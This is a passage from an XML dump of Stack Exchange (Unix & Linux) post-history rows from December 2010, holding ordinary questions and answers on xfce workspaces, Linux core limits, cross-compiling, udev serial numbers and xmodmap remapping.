you a list of them (and some other stuff).&#xD;&#xA;&#xD;&#xA;You may need to invest a bit of time into learning openbox, but it will ultimately get you a more efficient system in terms of memory and CPU utilization." />
  <row Id="9845" PostHistoryTypeId="2" PostId="4500" RevisionGUID="ec45c3b4-add6-442e-8a58-ec301dd8a148" CreationDate="2010-12-03T00:23:49.850" UserId="1535" Text="I make heavy use of workspaces, and have a lot of them (a 6x4 grid).  I usually run openbox, but am currently using a machine that doesn't have openbox set up, so I'm using xfce because it's already mostly configured to my liking.  I've gotten used to getting visual feedback when I switch workspaces, showing me which one I've just moved to, and am finding myself a bit disoriented in xfce.  In openbox this is a big heads-up display, which is pretty much ideal.  I'm aware that the workspace switcher panel applet will highlight the active workspace, but this only seems to work for workspaces which have some desktop space showing; since I generally have all my windows maximized, this isn't super helpful.&#xD;&#xA;&#xD;&#xA;Is there a way to enable visual feedback showing the new workspace when switching workspaces in xfce?" />
  <row Id="9846" PostHistoryTypeId="1" PostId="4500" RevisionGUID="ec45c3b4-add6-442e-8a58-ec301dd8a148" CreationDate="2010-12-03T00:23:49.850" UserId="1535" Text="Getting visual feedback of workspace switch in xfce" />
  <row Id="9847" PostHistoryTypeId="3" PostId="4500" RevisionGUID="ec45c3b4-add6-442e-8a58-ec301dd8a148" CreationDate="2010-12-03T00:23:49.850" UserId="1535" Text="édesktopöenvironmentàédesktopàéxfceà" />
  <row Id="9848" PostHistoryTypeId="5" PostId="3532" RevisionGUID="73728b16-733d-4d81-bab6-2c4c3f683fac" CreationDate="2010-12-03T00:31:36.337" UserId="479" Comment="deleted 2 characters in body" Text="I happen to think that the &quot;vim is modal&quot; comment above is incorrect.  Vim has commands.  You can do &quot;11aNow is the time for all good men..&lt;esc&gt;&quot; and end up with 11 identical new lines of text in your file.  That's a command, not a mode.  But there's actually a very basic difference in Vim commands vs Emacs commands.  I'm not entirely sure I can describe it, but Eric Fischer incorporated Emacs-style line editing in a TTY driver 10+ years ago, and got a paper published about it:&#xD;&#xA;&#xD;&#xA;http://www.usenix.org/event/usenix99/full_papers/fischer/fischer.pdf&#xD;&#xA;&#xD;&#xA;He found that Emacs style line editing was fundamentally different than vi-style.&#xD;&#xA;&#xD;&#xA;So Emacs has an advantage that a lot of other things (bash, gnuplot, zsh, ksh some others I can't think of off the top of my head) all end up implementing Emacs-style line editing.&#xD;&#xA;&#xD;&#xA;I should note that I personally use Vim all the time.  I'm only a very occasional Emacs user." />
  <row Id="9849" PostHistoryTypeId="2" PostId="4501" RevisionGUID="3bf0b5c2-3108-4d11-9f0a-4344ec274d2d" CreationDate="2010-12-03T01:06:35.567" UserId="2729" Text="[IPython][1] is surprisingly convenient to use.&#xD;&#xA;&#xD;&#xA;Standard shell features: job control, readline editing and history, aliases, `cat` `ls` `cd` and `pwd`, pager integration, running any system command by prefixing it with a `!` or enabling `%rehashx`, command output assignable to a python variable, python values available as shell variables.&#xD;&#xA;&#xD;&#xA;Python-specific: reusing results from the last commands, quick access to documentation and source, module reloading, debugger. Some cluster support if you're into that.&#xD;&#xA;&#xD;&#xA;That said, running complex pipes isn't done in Python; you'll be using the posix shell as well, just with some glue to pass values to and fro.&#xD;&#xA;&#xD;&#xA;  [1]: http://ipython.scipy.org/doc/stable/html/" />
  <row Id="9851" PostHistoryTypeId="2" PostId="4503" RevisionGUID="453420fc-dbb7-4872-846f-30b5a91bdda6" CreationDate="2010-12-03T01:40:05.153" UserId="382" Text="Steven D forgot GNU `sed`:&#xD;&#xA;&#xD;&#xA;    sed -n $= file.txt&#xD;&#xA;&#xD;&#xA;Also, if you want the count without outputting the filename and you're using `wc`:&#xD;&#xA;&#xD;&#xA;    wc -l &lt; file.txt&#xD;&#xA;&#xD;&#xA;Just for the heck of it:&#xD;&#xA;&#xD;&#xA;    cat -n file.txt | tail -n 1 | cut -f1" />
  <row Id="9853" PostHistoryTypeId="2" PostId="4505" RevisionGUID="33752828-f640-4a50-908c-9ee54d0903a2" CreationDate="2010-12-03T05:00:07.090" UserId="2150" Text="One answer to your question is to use emacs with M-x eshell.  This gives you a reasonably full shell functionality inside of emacs.  Taking quick peeks at files can obviously be done by opening them in the editor, but more importantly you can use its search functionality to search back through the buffer for any earlier output (or any earlier prompts).&#xD;&#xA;&#xD;&#xA;Another answer is to use screen, I believe this also has a search functionality of the history, but it has been too long since I used it to remember what the key-combos are." />
  <row Id="9854" PostHistoryTypeId="2" PostId="4506" RevisionGUID="66d60e0b-4d59-41ea-b507-70b2c2f88f17" CreationDate="2010-12-03T05:38:11.753" UserId="2688" Text="I also keep windows maximized 95% of the time, but the workspace switcher panel does change depending on what workspace I am in.  For the currently selected workspace, the active window is light blue, all other windows are dark blue, and all windows in all other workspaces are grey. This may be a function of the theme I'm using (theme called 'Xfce-4.2'), I'm not sure.  Have you tried using different themes?&#xD;&#xA;&#xD;&#xA;I realize that this isn't as obvious as the big numbers that flash up when you change that I've seen elsewhere.  If someone knows how to get those working in xfce, I would like to know.  &#xD;&#xA;&#xD;&#xA;But barring that, I'd poke around with the color settings, it is possible to get the workspace switcher to colorize the windows based on which workspace is active.&#xD;&#xA;&#xD;&#xA;I am running ubuntu 10.4 with xfce 4.6.1 installed (I tried xubuntu, but couldn't get it to work as well). " />
  <row Id="9855" PostHistoryTypeId="5" PostId="4492" RevisionGUID="c6ef488b-7dcf-46b2-a177-908f190bd143" CreationDate="2010-12-03T08:43:53.557" UserId="1131" Comment="markup typo" Text="I am not aware of such a tool and I guess that not a lot of hardware support the generation of such events ([an Intel related discussion][1]).&#xD;&#xA;&#xD;&#xA;And polling would not be a very elegant solution - would waste CPU cycles and energy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lists.x.org/archives/xorg/2007-July/026067.html" />
  <row Id="9856" PostHistoryTypeId="2" PostId="4507" RevisionGUID="bd2a4ac5-dbd5-43d6-b8f9-2edb7777fb94" CreationDate="2010-12-03T10:17:27.650" UserId="688" Text="This is a curiosity question. Strange that my Google skills didn't get me an answer in a few minutes of searching." />
  <row Id="9857" PostHistoryTypeId="1" PostId="4507" RevisionGUID="bd2a4ac5-dbd5-43d6-b8f9-2edb7777fb94" CreationDate="2010-12-03T10:17:27.650" UserId="688" Text="How many cores can Linux handle?" />
  <row Id="9858" PostHistoryTypeId="3" PostId="4507" RevisionGUID="bd2a4ac5-dbd5-43d6-b8f9-2edb7777fb94" CreationDate="2010-12-03T10:17:27.650" UserId="688" Text="ékernelà" />
  <row Id="9859" PostHistoryTypeId="2" PostId="4508" RevisionGUID="927e4807-298e-4fe8-a35c-5223c50e757d" CreationDate="2010-12-03T10:22:36.483" UserDisplayName="me myself and I" Text="I guess this will answer your question: http://wiki.xtronics.com/index.php/Wajig&#xD;&#xA;&#xD;&#xA;Install a fresh linux, copy your home, and use wajig to reinstall all packages.&#xD;&#xA;" />
  <row Id="9860" PostHistoryTypeId="2" PostId="4509" RevisionGUID="96c0e71d-80b0-49dc-889c-aae838161138" CreationDate="2010-12-03T10:32:17.390" UserDisplayName="shankar" Text="How to use STL(standard Temple library) in HP-Unix . How to compile and run the program with STL functions?" />
  <row Id="9861" PostHistoryTypeId="1" PostId="4509" RevisionGUID="96c0e71d-80b0-49dc-889c-aae838161138" CreationDate="2010-12-03T10:32:17.390" UserDisplayName="shankar" Text="How to use STL in unix and linux?" />
  <row Id="9862" PostHistoryTypeId="3" PostId="4509" RevisionGUID="96c0e71d-80b0-49dc-889c-aae838161138" CreationDate="2010-12-03T10:32:17.390" UserDisplayName="shankar" Text="éunixàécà" />
  <row Id="9863" PostHistoryTypeId="2" PostId="4510" RevisionGUID="2c4c4d61-0c15-4f37-8527-4181aef83e3e" CreationDate="2010-12-03T10:36:39.280" UserId="29" Text="I asked this question on serverfault, because I hadn't gotten an answer here, and [this](http://serverfault.com/questions/206541/how-do-i-use-pg-upgrade-on-arch-linux/206970#206970) was the answer I got, it basically contains docs links. But the most important take home, in my opinion, is that to use pg_upgrade you have to have 2 versions of postgres installed side by side, as such I filed a [bug with arch](https://bugs.archlinux.org/task/21929?string=postgres&amp;project=1&amp;type%5B0%5D=&amp;sev%5B0%5D=&amp;pri%5B0%5D=&amp;due%5B0%5D=&amp;reported%5B0%5D=&amp;cat%5B0%5D=&amp;status%5B0%5D=open&amp;percent%5B0%5D=&amp;opened=&amp;dev=&amp;closed=&amp;duedatefrom=&amp;duedateto=&amp;changedfrom=&amp;changedto=&amp;openedfrom=&amp;openedto=&amp;closedfrom=&amp;closedto=) to build it into the package upgrade process" />
  <row Id="9864" PostHistoryTypeId="2" PostId="4511" RevisionGUID="5607595f-21fe-4495-9806-ddcadccd5b99" CreationDate="2010-12-03T10:41:29.287" UserId="2871" Text="Hi All,  &#xD;&#xA;&#xD;&#xA;I have scenario in which   &#xD;&#xA;my host is : x86 32 bit processor  &#xD;&#xA;my target is : x86 64 bit processor &#xD;&#xA;&#xD;&#xA;I have a couple of questions :   &#xD;&#xA;&#xD;&#xA; - I want to know if i can simply&#xD;&#xA;   compile a program in my host using&#xD;&#xA;   the available gcc and run it on the&#xD;&#xA;   target?&#xD;&#xA; - Do i need to cross compile it for x86&#xD;&#xA;   64 bit processor? If yes, how can i specify it while compiling?&#xD;&#xA; - Do i need to use separate tool-chain&#xD;&#xA;   for cross-compiling the program?  &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;" />
  <row Id="9865" PostHistoryTypeId="1" PostId="4511" RevisionGUID="5607595f-21fe-4495-9806-ddcadccd5b99" CreationDate="2010-12-03T10:41:29.287" UserId="2871" Text="Do I need to cross-compile my program when my target is 64 bit arch. and host is 32 bit arch from x86 family?" />
  <row Id="9866" PostHistoryTypeId="3" PostId="4511" RevisionGUID="5607595f-21fe-4495-9806-ddcadccd5b99" CreationDate="2010-12-03T10:41:29.287" UserId="2871" Text="élinuxà" />
  <row Id="9867" PostHistoryTypeId="6" PostId="4509" RevisionGUID="6289025c-741c-4cd9-94c9-868e46fa9dc2" CreationDate="2010-12-03T10:44:06.930" UserId="29" Comment="add hp-ux tag" Text="éunixàécàéhpöuxà" />
  <row Id="9868" PostHistoryTypeId="2" PostId="4512" RevisionGUID="efcbf448-7f5a-4559-8d9a-c11227b7599f" CreationDate="2010-12-03T10:50:29.573" UserId="688" Text="[Beagle][1] was all the rage some years ago, and then it just died... silently. Anyone knows why?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://beagle-project.org/Main_Page" />
  <row Id="9869" PostHistoryTypeId="1" PostId="4512" RevisionGUID="efcbf448-7f5a-4559-8d9a-c11227b7599f" CreationDate="2010-12-03T10:50:29.573" UserId="688" Text="What killed Beagle?" />
  <row Id="9870" PostHistoryTypeId="3" PostId="4512" RevisionGUID="efcbf448-7f5a-4559-8d9a-c11227b7599f" CreationDate="2010-12-03T10:50:29.573" UserId="688" Text="éhistoryà" />
  <row Id="9871" PostHistoryTypeId="5" PostId="4507" RevisionGUID="2d058852-1a5a-482f-b795-2cd13beac892" CreationDate="2010-12-03T10:53:15.373" UserId="688" Comment="elaboration; edited body" Text="I'm interested in theoretical limits, perhaps with examples of systems having huge numbers of CPU's." />
  <row Id="9872" PostHistoryTypeId="2" PostId="4513" RevisionGUID="b28ef828-c51e-461b-a164-914d10388ad7" CreationDate="2010-12-03T10:59:49.593" UserId="2851" Text="this is what Launchpad [has to say][1] about Ubuntu, so I guess it applies to others: 32 or 64 CPUs for x86 and x86_64 respectively. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Redhat says the same, but in a [management-friendly table][2]. Redhat EL6 can do 32 for x86, or 128 or 4096 CPUs cores for x86_64.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://answers.launchpad.net/ubuntu/+question/9820&#xD;&#xA;  [2]: http://www.redhat.com/rhel/compare/" />
  <row Id="9873" PostHistoryTypeId="2" PostId="4514" RevisionGUID="7b64809c-07a3-4f7b-b2b2-b545984a2adf" CreationDate="2010-12-03T11:25:12.793" UserId="2851" Text="yes you can: just specify the correct comnpiler options and you're done. You won't be able to run the resulting binary on your 32 bit host.&#xD;&#xA;&#xD;&#xA;I think you need: CFLAGS=-m64&#xD;&#xA;you'll also need to set LD_LIBRARY_PATH and similar to the 64-bit headers and libraries for your dependancies.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[stackoverflow has a question][1] with more answers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/4131158/how-to-cross-compile-for-linux-x86-with-linux-amd64-cmake-and-g" />
  <row Id="9874" PostHistoryTypeId="2" PostId="4515" RevisionGUID="f19c4950-dc9c-455f-9d50-a549f0f71735" CreationDate="2010-12-03T11:31:36.513" UserId="2851" Text="If you do want to use an old PC,  get 2 with the same specs. You not only can use them in a redundant mirrored mode, but you can replace parts from the others to keep 1 running if (or when) failures occur. &#xD;&#xA;&#xD;&#xA;to be fair, I've only seen failures from HDDs generally. Old PCs just keep on running, but I have had a motherboard fail on me once in all my years of playing with old PC kit. RAM has never failed, nor has a graphics card. You'll want to RAID your HDDs, and run with relatively modern units.&#xD;&#xA;&#xD;&#xA;Otherwise, if you're buying new or need reliability/support, it's probably better to go with the other answers given: ARM or Atom based mini/htpc style PCs." />
  <row Id="9875" PostHistoryTypeId="6" PostId="4507" RevisionGUID="a4380c49-ae15-4eed-b259-c4ed80fe4f2d" CreationDate="2010-12-03T12:33:56.723" UserId="29" Comment="add linux tag" Text="élinuxàékernelà" />
  <row Id="9876" PostHistoryTypeId="5" PostId="3504" RevisionGUID="14e0c847-beee-4dac-a5de-07e8256aa507" CreationDate="2010-12-03T12:37:33.140" UserId="312" Comment="added 163 characters in body" Text="I'm using Ubuntu Maverick and this is the setup:&#xD;&#xA;&#xD;&#xA;Our router connects us to the company's VPN through which we can access some internal websites. I have to connect also to a customer's VPN in order to use remote desktop and their websites daily.&#xD;&#xA;&#xD;&#xA;This customer has a web interface to connect to its VPN, it launches a Java App which signs us in and lets us use the services on their network.&#xD;&#xA;&#xD;&#xA;When I do this, I loose access to my company's VPN services (websites) in all browsers. This doesn't happen in the rest of the (Windows) boxes, and I'm the only one using GNU/Linux on the office.&#xD;&#xA;&#xD;&#xA;Right now, I log out of the customer's VPN to access the company's services, but I'm sure there's some solution so that I can use both VPNs together.&#xD;&#xA;&#xD;&#xA;**Edit:** The customer's VPN is used via a Juniper Networks login (a Java Client), and I get automatically connected into the company's VPN through the router.&#xD;&#xA;" />
  <row Id="9877" PostHistoryTypeId="2" PostId="4516" RevisionGUID="168ca8c6-3d3a-4459-8787-5249a26b652a" CreationDate="2010-12-03T13:03:43.107" UserId="2950" Text="I have a mobile phone connected to my PC via USB.&#xD;&#xA;&#xD;&#xA;When viewing the device info using&#xD;&#xA;&#xD;&#xA;    sudo udevadm info --attribute-walk&#xD;&#xA;&#xD;&#xA;the product and vendor id's show up fine, but there is no *ATTR{serial}*. An application I'm using (Android adb) needs the device to report a serial number to work properly.&#xD;&#xA;&#xD;&#xA;Is there any way I can fake the serial number of the device, for example by using a udev rule?" />
  <row Id="9878" PostHistoryTypeId="1" PostId="4516" RevisionGUID="168ca8c6-3d3a-4459-8787-5249a26b652a" CreationDate="2010-12-03T13:03:43.107" UserId="2950" Text="Fake serial number of USB device" />
  <row Id="9879" PostHistoryTypeId="3" PostId="4516" RevisionGUID="168ca8c6-3d3a-4459-8787-5249a26b652a" CreationDate="2010-12-03T13:03:43.107" UserId="2950" Text="éusbàéudevà" />
  <row Id="9880" PostHistoryTypeId="2" PostId="4517" RevisionGUID="61205ba2-dacd-4dfa-831d-8f39a234cb4b" CreationDate="2010-12-03T13:07:45.343" UserId="1946" Text="I guess all you need is a package providing the `g++` command (plus all the dependencies, of course)." />
  <row Id="9881" PostHistoryTypeId="2" PostId="4518" RevisionGUID="0470e17a-be13-4497-8f06-aeb619b2fc0a" CreationDate="2010-12-03T13:09:47.577" UserId="2851" Text="I'd recommend using VMWare server and any distro (I happen to use CentOS). The reason is that there are hundreds of pre-built VM images available on the [VMware appliances][1] website. VMware's a good virtualisation platform and is free.&#xD;&#xA;&#xD;&#xA;for example: [Ubuntu LAMP stacks][2] in various flavours.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vmware.com/appliances/&#xD;&#xA;  [2]: http://www.vmware.com/appliances/directory/cat/500?k=lamp+ubuntu&amp;c=500" />
  <row Id="9882" PostHistoryTypeId="2" PostId="4519" RevisionGUID="9d53f191-0206-48a4-9234-2d0fd1b91d8d" CreationDate="2010-12-03T13:50:45.850" UserDisplayName="tbyte" Text="Might be a stupid thing to check but corkscrew depends on 'netcat' being in your path. Most systems of course have netcat installed by default but a few of them don't have the main binary 'nc' linked to 'netcat' as well. corkscrew depends on being able to call 'netcat', not 'nc'. At least I had the same symptoms you're describing and simply symlinking of nc to netcat fixed it." />
  <row Id="9883" PostHistoryTypeId="2" PostId="4520" RevisionGUID="3b15ca86-767f-4b92-a2df-4eb0be225601" CreationDate="2010-12-03T13:58:50.830" UserId="31" Text="Every standard conforming compiler should come with STL, as it is part of the standard library.  The first standard was finalized in 1998, so unless you are using a really old system, it should be available.  All you need to do is use the proper `#includes`.&#xD;&#xA;&#xD;&#xA;    #include &lt;vector&gt;&#xD;&#xA;    std::vector&lt;int&gt; v;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="9884" PostHistoryTypeId="2" PostId="4521" RevisionGUID="cac32d91-d920-4e27-8d92-388030da4ee3" CreationDate="2010-12-03T14:03:59.297" UserId="31" Text="At least 2048 in practice.  As a concrete example, SGI sells its [UV][1] system, which can use 256 sockets (2,048 cores) and 16TB of shared memory. I know that there are at least a few systems that have been sold in this configuration. &#xD;&#xA;&#xD;&#xA;According to SGI:&#xD;&#xA;&#xD;&#xA;&gt; Altix UV runs completely unmodified Linux, including standard distributions from both Novell and Red Hat. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sgi.com/products/servers/altix/uv/" />
  <row Id="9885" PostHistoryTypeId="5" PostId="4148" RevisionGUID="f7759085-d1e7-4518-b343-6ea8e012531a" CreationDate="2010-12-03T14:12:26.557" UserId="2700" Comment="further details of the problem" Text="I'm using SSH (with -X specified) from a Ubuntu box to a RHEL4 box and running GVim. It opens as expected in my local X, but the copy and paste via select doesn't work. I cannot select text in GVim and paste in a local window, nor can I select text from a local window and paste in GVim. This works, however, when I SSH (with -X specified) to a different RHEL4 box.&#xD;&#xA;&#xD;&#xA;Is there something I need to install on the remote machine?&#xD;&#xA;&#xD;&#xA;I am running Parcellite 0.9.2 on the local box, but closing it doesn't make the problem go away, and it is not interfering with the other box.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - Thanks for the help so far, guys.&#xD;&#xA; - To clarify, copy/paste via select&#xD;&#xA;   works on a GVim window spawned from&#xD;&#xA;   box A, but not on a GVim window&#xD;&#xA;   spawned from box B. Both box A and&#xD;&#xA;   box B are RHEL4 U8. &#xD;&#xA; - When I select&#xD;&#xA;   some text in the GVim window, I can&#xD;&#xA;   paste it via right-click within that&#xD;&#xA;   window, but I cannot paste it into&#xD;&#xA;   anything running locally.  When I&#xD;&#xA;   select something locally, I can paste&#xD;&#xA;   it locally but when I paste into the&#xD;&#xA;   GVim window, it pastes the last thing&#xD;&#xA;   selected in the GVim window, not the&#xD;&#xA;   last thing selected locally.&#xD;&#xA; - Just to make it a bit freakier, *sometimes* I open a second GVim window from the same box, I can paste into that second window (though still not the first), but I still cannot select something in that window and paste it locally.&#xD;&#xA; - I get the same behaviour using Ctrl-Shift-C.  Holding shift while selecting with the mouse prevents selecting.  Ctrl-Shift-V starts block selection in vim, not pasting.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - The machine that is presenting the problem is a vitual machine running on VM Player.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - A co-worker that is also SSHing to a virtual RHES4 U8 box does not have the same issue but he used the stock vim install on the VM whereas myself and another co-worker with the problem compiled vim from source.  Could there be a compile flag we need?&#xD;&#xA; - I tried installing VM tools on one of the VMs, but it had no effect on this issue.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - The .vimrc between my two boxes is the same, scp'ed over." />
  <row Id="9886" PostHistoryTypeId="4" PostId="4507" RevisionGUID="02f75586-42aa-4f53-925e-447ced5b0f10" CreationDate="2010-12-03T14:25:12.433" UserId="688" Comment="clarity" Text="How many cores can Linux kernel handle?" />
  <row Id="9887" PostHistoryTypeId="5" PostId="4521" RevisionGUID="7807b0e8-f1d2-4719-8733-a79a7796b214" CreationDate="2010-12-03T14:42:22.167" UserId="31" Comment="added 35 characters in body" Text="At least 2048 in practice.  As a concrete example, SGI sells its [UV][1] system, which can use 256 sockets (2,048 cores) and 16TB of shared memory, all running under a single kernel. I know that there are at least a few systems that have been sold in this configuration. &#xD;&#xA;&#xD;&#xA;According to SGI:&#xD;&#xA;&#xD;&#xA;&gt; Altix UV runs completely unmodified Linux, including standard distributions from both Novell and Red Hat. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sgi.com/products/servers/altix/uv/" />
  <row Id="9888" PostHistoryTypeId="2" PostId="4522" RevisionGUID="8fc989c8-db0c-47af-9a00-25e2322a5b23" CreationDate="2010-12-03T16:59:07.320" UserId="2179" Text="I'm watching a large IRC channel with a lot of noise and precious few ops. How can I have all messages from ops highlighted?" />
  <row Id="9889" PostHistoryTypeId="1" PostId="4522" RevisionGUID="8fc989c8-db0c-47af-9a00-25e2322a5b23" CreationDate="2010-12-03T16:59:07.320" UserId="2179" Text="How do you highlight ops' messages in Irssi?" />
  <row Id="9890" PostHistoryTypeId="3" PostId="4522" RevisionGUID="8fc989c8-db0c-47af-9a00-25e2322a5b23" CreationDate="2010-12-03T16:59:07.320" UserId="2179" Text="éirssià" />
  <row Id="9891" PostHistoryTypeId="5" PostId="4485" RevisionGUID="8b65e37c-f52e-44be-b5eb-bc45db1979f5" CreationDate="2010-12-03T17:07:41.410" UserId="2925" Comment="included more information about the hardware and the signals sent by the keys.; added 138 characters in body" Text="I am attempting to remap my keyboard in order to make emacs usable - my ergonomic keyboard puts its single Control key in an isolated 4-key island way off to the left.&#xD;&#xA;&#xD;&#xA;Here are the lines I am attempting to feed to `xmodmap`, I place them into a file ~/.Xmodmap&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;clear Control&#xD;&#xA;clear Mod1&#xD;&#xA;! The Alt keys are labled 'Option' on my keyboard, &#xD;&#xA;! using xev shows them to send Alt_L and Alt_R keysym's respectively &#xD;&#xA;keysym Alt_L = Control_L&#xD;&#xA;keysym Alt_R = Control_R&#xD;&#xA;! The Super_L and Super_R keys are the Windows keys&#xD;&#xA;keysym Super_L = Alt_L&#xD;&#xA;keysym Super_R = Alt_R&#xD;&#xA;add Control = Control_L Control_R&#xD;&#xA;add Mod1 = Alt_L Alt_R&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;My goal is to make my Option (a.k.a. Alt) keys behave like Control keys, and to get my Windows (a.k.a. Super) keys to behave like Alt.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here are the keycodes and keysms output by xev for the keys in question.  Note, my keyboard  (a Goldtouch ergonomic keyboard) has only one control key.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&#xD;&#xA;keycode 37 (keysym 0xffe3, Control_L)&#xD;&#xA;keycode 64 (keysym 0xffe9, Alt_L)&#xD;&#xA;keycode 133 (keysym 0xffeb, Super_L)&#xD;&#xA;keycode 134 (keysym 0xffec, Super_R)&#xD;&#xA;keycode 108 (keysym 0xffea, Alt_R)&#xD;&#xA;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Here is what xev displays while running `xmodmap .Xmodmap`&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;MappingNotify event, serial 34, synthetic NO, window 0x0,&#xD;&#xA;    request MappingKeyboard, first_keycode 204, count 1&#xD;&#xA;&#xD;&#xA;MappingNotify event, serial 34, synthetic NO, window 0x0,&#xD;&#xA;    request MappingKeyboard, first_keycode 64, count 1&#xD;&#xA;&#xD;&#xA;MappingNotify event, serial 34, synthetic NO, window 0x0,&#xD;&#xA;    request MappingKeyboard, first_keycode 108, count 1&#xD;&#xA;&#xD;&#xA;MappingNotify event, serial 34, synthetic NO, window 0x0,&#xD;&#xA;    request MappingKeyboard, first_keycode 206, count 1&#xD;&#xA;&#xD;&#xA;MappingNotify event, serial 34, synthetic NO, window 0x0,&#xD;&#xA;    request MappingKeyboard, first_keycode 133, count 1&#xD;&#xA;&#xD;&#xA;MappingNotify event, serial 34, synthetic NO, window 0x0,&#xD;&#xA;    request MappingKeyboard, first_keycode 134, count 1&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;And here is the error returned by xmodmap:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;X Error of failed request:  BadValue (integer parameter out of range for operation)&#xD;&#xA;Major opcode of failed request:  118 (X_SetModifierMapping)&#xD;&#xA;Value in failed request:  0x17&#xD;&#xA;Serial number of failed request:  17&#xD;&#xA;Current serial number in output stream:  17&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Whats the deal?" />
  <row Id="9892" PostHistoryTypeId="5" PostId="4485" RevisionGUID="67afb9f4-389c-4864-8cbd-85b84278d1af" CreationDate="2010-12-03T17:47:59.833" UserId="2925" Comment="added OS info." Text="I am attempting to remap my keyboard in order to make emacs usable - my ergonomic keyboard puts its single Control key in an isolated 4-key island way off to the left.&#xD;&#xA;&#xD;&#xA;The OS is debian squeeze.&#xD;&#xA;&#xD;&#xA;Here are the lines I am attempting to feed to `xmodmap`, I place them into a file ~/.Xmodmap&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;clear Control&#xD;&#xA;clear Mod1&#xD;&#xA;! The Alt keys are labled 'Option' on my keyboard, &#xD;&#xA;! using xev shows them to send Alt_L and Alt_R keysym's respectively &#xD;&#xA;keysym Alt_L = Control_L&#xD;&#xA;keysym Alt_R = Control_R&#xD;&#xA;! The Super_L and Super_R keys are the Windows keys&#xD;&#xA;keysym Super_L = Alt_L&#xD;&#xA;keysym Super_R = Alt_R&#xD;&#xA;add Control = Control_L Control_R&#xD;&#xA;add Mod1 = Alt_L Alt_R&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;My goal is to make my Option (a.k.a. Alt) keys behave like Control keys, and to get my Windows (a.k.a. Super) keys to behave like Alt.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here are the keycodes and keysms output by xev for the keys in question.  Note, my keyboard  (a Goldtouch ergonomic keyboard) has only one control key.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&#xD;&#xA;keycode 37 (keysym 0xffe3, Control_L)&#xD;&#xA;keycode 64 (keysym 0xffe9, Alt_L)&#xD;&#xA;keycode 133 (keysym 0xffeb, Super_L)&#xD;&#xA;keycode 134 (keysym 0xffec, Super_R)&#xD;&#xA;keycode 108 (keysym 0xffea, Alt_R)&#xD;&#xA;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Here is what xev displays while running `xmodmap .Xmodmap`&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;MappingNotify event, serial 34, synthetic NO, window 0x0,&#xD;&#xA;    request MappingKeyboard, first_keycode 204, count 1&#xD;&#xA;&#xD;&#xA;MappingNotify event, serial 34, synthetic NO, window 0x0,&#xD;&#xA;    request MappingKeyboard, first_keycode 64, count 1&#xD;&#xA;&#xD;&#xA;MappingNotify event, serial 34, synthetic NO, window 0x0,&#xD;&#xA;    request MappingKeyboard, first_keycode 108, count 1&#xD;&#xA;&#xD;&#xA;MappingNotify event, serial 34, synthetic NO, window 0x0,&#xD;&#xA;    request MappingKeyboard, first_keycode 206, count 1&#xD;&#xA;&#xD;&#xA;MappingNotify event, serial 34, synthetic NO, window 0x0,&#xD;&#xA;    request MappingKeyboard, first_keycode 133, count 1&#xD;&#xA;&#xD;&#xA;MappingNotify event, serial 34, synthetic NO, window 0x0,&#xD;&#xA;    request MappingKeyboard, first_keycode 134, count 1&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;And here is the error returned by xmodmap:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;X Error of failed request:  BadValue (integer parameter out of range for operation)&#xD;&#xA;Major opcode of failed request:  118 (X_SetModifierMapping)&#xD;&#xA;Value in failed request:  0x17&#xD;&#xA;Serial number of failed request:  17&#xD;&#xA;Current serial number in output stream:  17&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Whats the deal?" />
